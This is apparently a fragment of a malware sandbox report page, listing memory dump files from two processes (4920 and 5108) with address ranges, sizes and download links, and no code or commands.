memory/4920-77-0x0000000007110000-0x0000000007121000-memory.dmp

Filesize
68KB

Download
memory/4920-78-0x0000000007150000-0x000000000715E000-memory.dmp

Filesize
56KB

Download
memory/4920-60-0x0000000005560000-0x00000000058B4000-memory.dmp

Filesize
3.3MB

Download
memory/4920-74-0x0000000006DB0000-0x0000000006DCE000-memory.dmp

Filesize
120KB

Download
memory/4920-64-0x0000000073BF0000-0x0000000073C3C000-memory.dmp

Filesize
304KB

Download
memory/4920-81-0x00000000071A0000-0x00000000071A8000-memory.dmp

Filesize
32KB

Download
memory/4920-62-0x0000000005C10000-0x0000000005C5C000-memory.dmp

Filesize
304KB

Download
memory/4920-80-0x00000000071B0000-0x00000000071CA000-memory.dmp

Filesize
104KB

Download
memory/5108-6801-0x0000000006170000-0x00000000061BC000-memory.dmp

Filesize
304KB

Download
memory/5108-6790-0x0000000005890000-0x0000000005BE4000-memory.dmp

Filesize
3.3MB

Download